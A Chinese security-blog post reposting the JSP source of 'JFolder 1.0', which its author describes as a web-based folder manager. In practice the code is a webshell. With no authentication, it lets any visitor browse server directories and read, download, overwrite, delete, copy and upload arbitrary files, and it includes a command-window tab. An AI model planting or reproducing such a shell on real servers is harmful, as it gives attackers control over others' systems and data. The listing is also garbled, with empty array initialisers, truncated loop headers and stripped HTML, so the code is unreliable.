林网博客

探讨计算机网络安全 拓展计算机网络应用

« Hackfing in Mysql5雷客图ASP站长安全助手 v1.0 正式版 »

慈勤强的JFolder1.0版代码(JSP)

这个版本主要是兼容了Unix、Linux等操作系统,真正的不再受系统平台的限制。
在0.9测试版发布以后,很多朋友都给了我很好的意见和建议,
对于日常的应用,这个版本应该足够了
在下一个版本中,会增加更多的功能。
在此感谢 Boris von Loesch,古典Lam,CitySuSu等人的帮助

<%
/**
JFileMan V1.0windows platform
@Filename: JFolder.jsp
@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。
@Author: Steven Cee
@Email : cqq1978@Gmail.com
@Bugs:下载时,中文文件名无法正常显示;Unix操作系统上传
*/
%>
<%@page errorPage="/"%>
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=1; //Language,0 : Chinese; 1:English
String strThisFile="JFileMan.jsp";
String strSeparator = File.separator;
String[] authorInfo={" 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com "," Thanks for your support - - by Steven Cee http://www.topronet.com "};
String[] strFileManage = {"文 件 管 理","File Management"};
String[] strCommand= {"CMD 命 令","Command Window"};
String[] strSysProperty= {"系 统 属 性","System Property"};
String[] strHelp = {"帮 助","Help"};
String[] strParentFolder = {"上级目录","Parent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers= ;
String[] strFileName = {"文件名称","File Name"};
String[] strFileSize = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= ;
String[] strFileEdit = ;
String[] strFileDown = ;
String[] strFileCopy = ;
String[] strFileDel= ;
String[] strExecute= ;
String[] strBack = ;
String[] strFileSave = ;

public class FileHandler
{
private String strAction="";
private String strFile="";
void FileHandler(String action,String f)
{

}
}

public static class UploadMonitor {

static Hashtable uploadTable = new Hashtable();

static void set(String fName, UplInfo info) {
uploadTable.put(fName, info);
}

static void remove(String fName) {
uploadTable.remove(fName);
}

static UplInfo getInfo(String fName) {
UplInfo info = (UplInfo) uploadTable.get(fName);
return info;
}
}

public class UplInfo {

public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;

public UplInfo() {
totalSize = 0l;
currSize = 0l;
starttime = System.currentTimeMillis();
aborted = false;
}

public UplInfo(int size) {
totalSize = size;
currSize = 0;
starttime = System.currentTimeMillis();
aborted = false;
}

public String getUprate() {
long time = System.currentTimeMillis() - starttime;
if (time != 0) {
 long uprate = currSize * 1000 / time;
 return convertFileSize(uprate) + "/s";
}
else return "n/a";
}

public int getPercent() {
if (totalSize == 0) return 0;
else return (int) (currSize * 100 / totalSize);
}

public String getTimeElapsed() {
long time = (System.currentTimeMillis() - starttime) / 1000l;
if (time - 60l >= 0){
 if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
 else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}

public String getTimeEstimated() {
if (currSize == 0) return "n/a";
long time = System.currentTimeMillis() - starttime;
time = totalSize * time / currSize;
time /= 1000l;
if (time - 60l >= 0){
 if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
 else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}

}

public class FileInfo {

public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);

public void setFileContents(byte[] aByteArray) {
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;

public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
 int clength) throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException("InputStream");
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
"\"" + boundary + "\" is an illegal boundary indicator");
boundary = "--" + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
boolean isFile = false;
if (saveFiles) { // Create the required directory (including parent dirs)
 File f = new File(saveInDir);
 f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary)) throw new IOException(
"Boundary not found; boundary = " + boundary + ", line = " + line);
while (line != null) {
 if (line == null || !line.startsWith(boundary)) return dataTable;
 line = getLine(is);
 if (line == null) return dataTable;
 stLine = new StringTokenizer(line, ";\r\n");
 if (stLine.countTokens() < 2) throw new IllegalArgumentException(
 "Bad data in second line");
 line = stLine.nextToken().toLowerCase();
 if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
 "Bad data in second line");
 stFields = new StringTokenizer(stLine.nextToken(), "=\"");
 if (stFields.countTokens() < 2) throw new IllegalArgumentException(
 "Bad data in second line");
 fileInfo = new FileInfo();
 stFields.nextToken();
 paramName = stFields.nextToken();
 isFile = false;
 if (stLine.hasMoreTokens()) {
field = stLine.nextToken();
stFields = new StringTokenizer(field, "=\"");
if (stFields.countTokens() > 1) {
 if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
fileInfo.name = paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0) {
 fileInfo.clientFileName = value;
 isFile = true;
}
else {
 line = getLine(is); // Skip "Content-Type:" line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Position to boundary line
 continue;
}
 }
}
else if (field.toLowerCase().indexOf("filename") >= 0) {
 line = getLine(is); // Skip "Content-Type:" line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Position to boundary line
 continue;
}
 }
 boolean skipBlankLine = true;
 if (isFile) {
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else {
 stLine = new StringTokenizer(line, ": ");
 if (stLine.countTokens() < 2) throw new IllegalArgumentException(
 "Bad data in third line");
 stLine.nextToken(); // Content-Type
 fileInfo.fileContentType = stLine.nextToken();
}
 }
 if (skipBlankLine) {
line = getLine(is);
if (line == null) return dataTable;
 }
 if (!isFile) {
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
// If parameter is dir, change saveInDir to dir
if (paramName.equals("dir")) saveInDir = line;
line = getLine(is);
continue;
 }
 try {
UplInfo uplInfo = new UplInfo(clength);
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
OutputStream os = null;
String path = null;
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
 line = null;
 break;
}
while (readingContent) {
 if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
uplInfo.aborted = true;
break;
 }
 if (compareBoundary(boundary, currentLine)) {
os.write(previousLine, 0, read - 2);
line = new String(currentLine, 0, read3);
break;
 }
 else {
os.write(previousLine, 0, read);
uplInfo.currSize += read;
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
 }//end else
}//end while
os.flush();
os.close();
if (!saveFiles) {
 ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
 fileInfo.setFileContents(baos.toByteArray());
}
else fileInfo.file = new File(path);
dataTable.put(paramName, fileInfo);
uplInfo.currSize = uplInfo.totalSize;
 }//end try
 catch (IOException e) {
throw e;
 }
}
return dataTable;
}

/**
* Compares boundary string to byte array
*/
private boolean compareBoundary(String boundary, byte ba[]) {
byte b;
if (boundary == null || ba == null) return false;
for (int i = 0; i < boundary.length(); i++)
 if ((byte) boundary.charAt(i) != ba[i]) return false;
return true;
}

/** Convenience method to read HTTP header lines */
private synchronized String getLine(ServletInputStream sis) throws IOException {
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1) {
 line = new String(b, 0, read);
 if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
}
return line;
}

public String getFileName(String dir, String fileName) throws IllegalArgumentException {
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException(
"dir or fileName is null");
int index = fileName.lastIndexOf('/');
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf('\\');
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
else return path.replace('/', File.separatorChar);
}
} //End of class HttpMultiPartParser

String formatPath(String p)
{
StringBuffer sb=new StringBuffer();
for (int i = 0; i < p.length(); i++)
{
if(p.charAt(i)=='\\')
{
sb.append("\\\\");
}
else
{
sb.append(p.charAt(i));
}
}
return sb.toString();
}

/**
* Converts some important chars (int) to the corresponding html string
*/
static String conv2Html(int i) {
if (i == '&') return "&";
else if (i == '<') return "<";
else if (i == '>') return ">";
else if (i == '"') return """;
else return "" + (char) i;
}

/**
* Converts a normal string to a html conform string
*/
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
File roots[]=File.listRoots();
for(int i=0;i {
sb.append(" javascript:doForm('','"+roots[i]+strSeparator+"','','','1','');\">");
sb.append(roots[i]+"
 ");
}
return sb.toString();
}
static String convertFileSize(long filesize)
{
//bug 5.09M 显示5.9M
String strUnit="Bytes";
String strAfterComma="";
int intDivisor=1;
if(filesize>=1024*1024)
{
strUnit = "MB";
intDivisor=1024*1024;
}
else if(filesize>=1024)
{
strUnit = "KB";
intDivisor=1024;
}
if(intDivisor==1) return filesize + " " + strUnit;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
if(strAfterComma=="") strAfterComma=".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + strSeparator + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
String strOS = System.getProperty("os.name").toLowerCase();
//out.print(strPath);
if((tabID==null) || tabID.equals(""))
{
tabID = "1";
}

if(strDir==null||strDir.length()<1)
{
strDir = request.getRealPath(".");
}

if(strAction!=null && strAction.equals("down"))
{
File f=new File(strPath);
if(f.length()==0)
{
sbDown.append("文件大小为 0 字节,就不用下了吧");
}
else
{
response.setHeader("content-type","text/html; charset=ISO-8859-1");
response.setContentType("APPLICATION/OCTET-STREAM");
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
out.clearBuffer();
int i;
while ((i=fileInputStream.read()) != -1)
{
out.write(i);
}
fileInputStream.close();
out.close();
}
}

if(strAction!=null && strAction.equals("del"))
{
File f=new File(strPath);
f.delete();
}

if(strAction!=null && strAction.equals("edit"))
{
File f=new File(strPath);
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
sbEdit.append("
\r\n");
sbEdit.append("\r\n");
sbEdit.append("\r\n");
sbEdit.append("\r\n");
sbEdit.append(" ");
sbEdit.append("  "+strPath+"\r\n");
sbEdit.append("
");
sbEdit.append("");
sbEdit.append("
");
}

if(strAction!=null && strAction.equals("save"))
{
File f=new File(strPath);
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
String strContent=request.getParameter("content");
bw.write(strContent);
bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
File f=new File(strPath);
sbCopy.append("
\r\n");
sbCopy.append("\r\n");
sbCopy.append("\r\n");
sbCopy.append("\r\n");
sbCopy.append("原始文件: "+strPath+"

");
sbCopy.append("目标文件:

");
sbCopy.append(" ");
sbCopy.append("

 \r\n");
sbCopy.append("

");
}
if(strAction!=null && strAction.equals("savecopy"))
{
File f=new File(strPath);
String strDesFile=request.getParameter("file2");
if(strDesFile==null || strDesFile.equals(""))
{
sbSaveCopy.append("

目标文件错误。");
}
else
{
File f_des=new File(strDesFile);
if(f_des.isFile())
{
sbSaveCopy.append("

目标文件已存在,不能复制。");
}
else
{
String strTmpFile=strDesFile;
if(f_des.isDirectory())
{
 if(!strDesFile.endsWith(strSeparator))
 {
strDesFile=strDesFile+strSeparator;
 }
 strTmpFile=strDesFile+"cqq_"+strFile;
 }

File f_des_copy=new File(strTmpFile);
FileInputStream in1=new FileInputStream(f);
FileOutputStream out1=new FileOutputStream(f_des_copy);
byte[] buffer=new byte[1024];
int c;
while((c=in1.read(buffer))!=-1)
{
 out1.write(buffer,0,c);
}
in1.close();
out1.close();

sbSaveCopy.append("原始文件 :"+strPath+"

");
sbSaveCopy.append("目标文件 :"+strTmpFile+"

");
sbSaveCopy.append("复制成功!");
}
}
sbSaveCopy.append("

");
}
if(strAction!=null && strAction.equals("newFile"))
{
String strF=request.getParameter("fileName");
String strType1=request.getParameter("btnNewFile");
String strType2=request.getParameter("btnNewDir");
String strType="";
if(strType1==null)
{
strType="Dir";
}
else if(strType2==null)
{
strType="File";
}
if(!strType.equals("") && !(strF==null || strF.equals("")))
{
File f_new=new File(strF);
if(strType.equals("File") && !f_new.createNewFile())
 sbNewFile.append(strF+" 文件创建失败");
if(strType.equals("Dir") && !f_new.mkdirs())
 sbNewFile.append(strF+" 目录创建失败");
}
else
{
sbNewFile.append("

建立文件或目录出错。");
}
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
String tempdir=".";
boolean error=false;
response.setContentType("text/html");
HttpMultiPartParser parser = new HttpMultiPartParser();

int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null)
{

FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted)
{
f1.delete();
request.setAttribute("error", "Upload aborted");
}
else
{
String path = (String) ht.get("path");

if(path!=null && !path.endsWith(strSeparator))
 path = path + strSeparator;
 strDir = path;
//out.println(path + f1.getName());
if (!f1.renameTo(new File(path + f1.getName())))
{
 request.setAttribute("error", "Cannot upload file.");
 out.println("error,upload ");
 error = true;
 f1.delete();
}
}
}
}
%>







JFoler 1.0 ---A jsp based web folder management tool by Steven Cee














<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sbFolder.append(" javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(strParentFolder[languageNo]+"

- - - - - - - - - - - \r\n ");

}
for(int i=0;i {
if(list[i].isDirectory())
{
sbFolder.append(" ");
sbFolder.append("javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(list[i].getName()+"

");
}
else
{
 String strLen="";
String strDT="";
long lFile=0;
lFile=list[i].length();
strLen = convertFileSize(lFile);
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append("");
sbFile.append(""+list[i].getName());
sbFile.append("");
sbFile.append(""+strLen);
sbFile.append("");
sbFile.append(""+strDT);
sbFile.append("");

sbFile.append("  javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileEdit[languageNo]+"
");

sbFile.append("  javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDel[languageNo]+"
");

sbFile.append(" javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDown[languageNo]+"
");

sbFile.append(" javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileCopy[languageNo]+"
");
}

}
}
catch(Exception e)
{
out.println("操作失败: "+e.toString()+"");
}
%>







www.topronet.com ,All Rights Reserved.

Any question, please email me cqq1978@Gmail.com


订阅我的博客 免费订阅林网博客 欣赏更多博客精品
本文链接地址:http://www.linwan.net.cn/archives/1147.html
原创文章如转载,请注明:转载自林网博客 [ http://www.linwan.net.cn/ ]
  • 文章排行
  • 完全文章排行 随机文章排行 文章本月排行 文章本年排行
  • 相关文章():

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

订阅博客

  • 订阅我的博客:订阅我的博客
  • 通过Google订阅本站
  • 通过抓虾订阅本站
  • 通过鲜果订阅本站
  • 通过bloglines订阅本站
  • 订阅本站到飞豆
  • 订阅本站到哪吒
  • 通过电子邮件订阅本站

热文排行使用

最新评论及回复

最新文章

累计排行

林海谐缘软件区新贴

林海谐缘网络区新贴

联系邮箱:16881688&126[AT]com,Powered By Z-Blog 1.8 Arwen Build 81206

本站采用创作共用版权协议, 要求署名、非商业用途和保持一致. 转载本站内容必须也遵循“署名-非商业用途-保持一致”的创作共用协议.